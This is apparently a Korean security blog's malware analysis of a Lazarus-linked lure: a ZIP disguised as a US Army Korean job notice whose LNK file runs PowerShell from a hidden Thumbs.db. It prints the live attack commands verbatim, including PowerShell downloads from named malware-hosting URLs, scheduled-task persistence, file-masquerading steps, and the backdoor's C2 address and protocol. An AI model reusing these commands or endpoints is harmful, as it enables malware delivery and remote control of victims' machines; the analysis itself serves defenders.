디지털포렌식/악성코드 샘플 분석

[라자루스] 미국 구인공고.zip 악성코드

Lhaaan 2023. 10. 28. 13:16

혹시라도 분석이 잘못되었거나 틀린 부분이 있다면 알려주세요.

참고: https://www.securonix.com/blog/detecting-ongoing-starkmule-attack-campaign-targeting-victims-using-us-military-document-lures/

파일 구성

  • 파일명: 미군 구인공고 웹사이트 주소 및 사용방법 안내.zip
  • 해시값
    • MD5: 6277fee38a64f218291c73db5326e1bf
    • SHA-1: 66515b6a0e09194511708c1057a62d767a11344f
    • SHA-256: 7f4bb17b1011c05d206f62be4685384a4dba063bd29f55113442b58669b8c252
  • 총 3가지 파일이 들어가 있음
    • Multi National Recruitment System Templete.pdf.zip
      • 해당 zip 파일 안에는 LNK 파일이 들어 있으며, 확장자는 pdf이나 pdf 파일이 아님
      • Multi National Recruitment System Templete.pdf
    • Multi National Recruitment System.pdf
    • Thumbs.db
      • 숨김 파일로 되어 있었음

Multi National Recruitment System.pdf

  • 해당 파일 자체가 악성 행위를 하는 파일은 아니지만, 첨부되어 있는 링크가 피싱사이트로 의심이 됨
  • URL: https://portal.chra.army.mil/mnrs
    • 해당 사이트가 피싱 사이트로 의심되나 바이러스 토탈에서 엔진에 잡히는 것은 보이지 않음
미육군인사처의 한국인 한국인 구인공고 웹사이트주소가 변경되었습니다. 해당 사이트 등록 및
사용 방법을 참고하시기 바랍니다.
<https://portal.chra.army.mil/mnrs>
한국인 구직자를 위한 Multi National Recruitment System (MNRS) 사용 안내
Civilian Human Resources Agency - Far East Region 에서 관할하는 한국인 직원 채용을 위한 공석은
모두 MNRS Website (<https://portal.chra.army.mil/mnrs>)를 통해 공고됩니다. 공석에 지원하는 구직자
또는 USFK 현직직원은 MNRS 에서 제공하는 일정한 양식을 통해 프로파일을 작성 후 각 공석의
상세페이지 내의 "Apply Now" 버튼을 클릭 후 안내되는 절차를 따름으로서 지원을 할 수 있습니다. 
접수, 지원자의 자격요건 충족 여부, 채용의 결과 등은 모두 채용의 진행 과정에 따라 이메일로
통보 됩니다.
프로파일 작성/수정
1. MNRS 첫페이지의 "My Profile" 버튼을 클릭 후 각 항목에 대한 답변을 작성 합니다. 지원국가는
대한민국 (South Korea)를 선택해야 대한민국 내의 공석에 지원할 수 있습니다. 제출(Submit)을
클릭해 다음 페이지로 이동 합니다. 이때 프로파일 아이디가 생성되며 입력한 이메일 주소로
프로파일 아이디가 전송 됩니다. 
2. Contact Information: 필요한 내용을 모두 입력 후 프로파일 저장(Save Profile)을 클릭해 다음
페이지로 이동 합니다.
3. Personal Information: 필요한 내용을 모두 입력 후 프로파일 저장(Save Profile)을 클릭해 다음
페이지로 이동 합니다.
4. Education: 추가(Add) 버튼을 클릭 후 팝업되는 창에 학력사항을 기재하고 추가(Add) 버튼을
클릭해 해당 내용을 저장합니다. 필요한 만큼 학력사항을 추가 합니다. 프로파일 저장(Save 
Profile)을 클릭해 다음 페이지로 이동 합니다. 
5. Work Experience: 추가(Add) 버튼을 클릭 후 팝업되는 창에 경력사항을 기재하고 추가(Add) 
버튼을 클릭해 해당 내용을 저장합니다. 필요한 만큼 경력사항을 추가 합니다. 프로파일
저장(Save Profile)을 클릭해 다음 페이지로 이동 합니다. 
6. Other Training Received: 추가(Add) 버튼을 클릭 후 팝업되는 창에 기타 받은 교육을 기재하고
추가(Add) 버튼을 클릭해 해당 내용을 저장합니다. 필요한 만큼 기타 받은 교육을 추가 합니다. 
프로파일 저장(Save Profile)을 클릭해 다음 페이지로 이동 합니다. 
7. Special Qualifications and Skills: 추가(Add) 버튼을 클릭 후 팝업되는 창에 특별자격 및 기술을
기재하고 추가(Add) 버튼을 클릭해 해당 내용을 저장합니다. 필요한 만큼 특별자격 및 기술을
추가 합니다. 프로파일 저장(Save Profile)을 클릭해 다음 페이지로 이동 합니다. 
8. Awards: 추가(Add) 버튼을 클릭 후 팝업되는 창에 상장(특별 수훈상 또는 명예 공로상)을
기재하고 추가(Add) 버튼을 클릭해 해당 내용을 저장합니다. 필요한 만큼 상장(특별 수훈상
또는 명예 공로상)을 추가 합니다. 프로파일 저장(Save Profile)을 클릭해 다음 페이지로 이동
합니다. 
9. Family Information: 주한미군에 재직 중인 가족이 있는 경우, 필요한 내용을 작성합니다. 
프로파일 저장(Save Profile)을 클릭해 다음 페이지로 이동 합니다. 
10. Miscellaneous: 각 문의 내용에 대한 답변을 선택하고 프로파일 저장(Save Profile)을 클릭해 다음
페이지로 이동 합니다.
11. 계속(Continue) 버튼을 클릭해 프로파일 작성을 완료합니다.
공석공고의 검색/열람/지원
1. MNRS 첫페이지의 "View Jobs" 버튼을 클릭해 공석공고의 목록을 열람할 수 있습니다. 좌측의
"정렬"과 "필터"를 입력하여 목록을 정렬하고 검색할 수 있습니다. 첫번째 필터는 "South 
Korea"로 고정되어야 합니다.
2. 목록에서 열람/지원을 원하는 공석의 "View and Apply" 버튼을 클릭해 공석을 열람할 수
있습니다.
3. 공석공고의 내용을 검토 후 공석공고의 "Apply Now" 버튼을 클릭해 공석에 지원 할 수
있습니다

Multi National Recruitment System template.pdf

  • pestudio로 확인해보니 바이러스토탈에서 총 33/60 엔진에서 잡는것을 확인할 수 있었음
  • 주로 트로이목마 탐지명으로 많이 잡히는 것을 확인할 수 있음
  • strings에서는 cmd를 실행하는 것으로 보이는 문자열도 확인할 수 있음
  • 해당 파일은 .LNK 파일로 되어 있어 어떠한 파일을 실행시키는지 확인해보니 파워쉘 커맨드라인을 실행하는 것을 알 수 있었음
  • 커맨드 라인: C:\Windows\System32\cmd.exe /c powershell.exe -command - < Thumbs.db
    • Thumbs.db에 있는 문자열을 파워쉘로 실행시키는 것으로 추측할 수 있음

Thumbs.db

  • 다른 코드들은 별 의미 없어보이고, 해당 코드들이 악성행위를 하는 코드로 확인된다.
  • powershell -exec bypass -Command "(New-Object Net.WebClient).DownloadFile('http://www.jkmusic.co.kr/shop/data/theme/e6a137162c56087', 'C:\ProgramData\lsasetup.tmp')"
    • 악성코드 유포지에서 “lsasetup.tmp”라는 파일명으로 파일을 다운로드 받음
  • powershell -exec bypass -Command "(New-Object Net.WebClient).DownloadFile('http://www.jkmusic.co.kr/shop/data/theme/c9665058c3ef16b', 'C:\ProgramData\winrar.exe')"
    • 악성코드 유포지에서 “winrar.exe” 파일을 다운로드 받음
  • echo Y|schtasks /create /sc DAILY /st 10:10 /tn zuzip /tr "cmd /c echo y| C:\\ProgramData\\winrar.exe e C:\\ProgramData\\lsasetup.tmp C:\\ProgramData\\ -plast"
  • lsasetup.tmp 파일 안에 악성 프로그램이 들어가 있을 확률이 높음
    1. echo Y|schtasks /create: echo Y 명령어를 사용하여 "Y"를 입력하고, schtasks /create 명령어를 실행하여 작업을 생성합니다.
    2. /sc DAILY: 작업 스케줄을 "매일"로 설정합니다.
    3. /st 10:10: 작업이 매일 10시 10분에 실행되도록 스케줄을 설정합니다.
    4. /tn zuzip: 작업 이름을 "zuzip"으로 설정합니다.
    5. /tr "cmd /c echo y| C:\\\\ProgramData\\\\winrar.exe e C:\\\\ProgramData\\\\lsasetup.tmp C:\\\\ProgramData\\\\ -plast": 작업을 실행할 명령어를 설정합니다. 여기서는 "C:\ProgramData\lsasetup.tmp" 파일을 WinRAR을 사용하여 "C:\ProgramData\" 디렉터리에 압축 해제하는 명령어입니다. plast 옵션은 압축 해제 작업을 수행할 때 파일을 덮어쓰기 위해 사용됩니다.
  • echo Y|schtasks /create /sc DAILY /st 10:11 /tn zconshost /tr C:\\ProgramData\\conshost.exe
    • 스케줄러 등록
  • del 'Multi National Recruitment System Templete.pdf.lnk' copy 'Multi National Recruitment System.pdf' 'Multi National Recruitment System Templete.pdf'
    • 악성 행위를 감추기 위해 파일을 삭제 후 파일복사를 통해 정상파일로 은닉하려는 행위로 보임

악성코드 유포지 && C2 서버 확인

  • 해당 2개의 악성코드 유포지
    • http://www.jkmusic.co.kr/shop/data/theme/e6a137162c56087
    • http://www.jkmusic.co.kr/shop/data/theme/c9665058c3ef16b
  • app.anyrun으로 확인해본 결과
    • winrar.exe와 lsasetup.tmp를 다운받을 수 있음
    • winrar.exe e lsasetup.tmp C:\\ProgramData\\ -plast → 악성파일 복호화

바이너리 파일 분석

  • process hacker를 통해 unpacking 된 바이너리 파일 2개를 extract
  • conshost.exe1.bin은 오류가 나서 conshost.exe.bin 파일만 분석을 진행
  • 확인결과 백도어로 확인됨

conshost.exe.bin

  • virustotal 확인결과 51/71 탐지
    • http://www.notebooksell.kr/mall/m_schema.php 연결 추정
    • OS 버전 정보 추출

  • 먼저 mac 주소와 os 버전정보, IP 주소, “15”를 base64로 인코딩 해서 전송함

  • 특정 url에 mpCMD=”sss”&mpVID=[mac주소] 를 파라미터에 담아서 보내는 것을 알 수 있음

  • response 값이 "xz36" 인지 체크 후 커맨드 실행

  • mpVCR=[랜덤한값]&mpID=[mac주소]
    • cmd 실행 후 나온 결과 값을 랜덤화?해서 다시 C2 서버로 보내는거 같음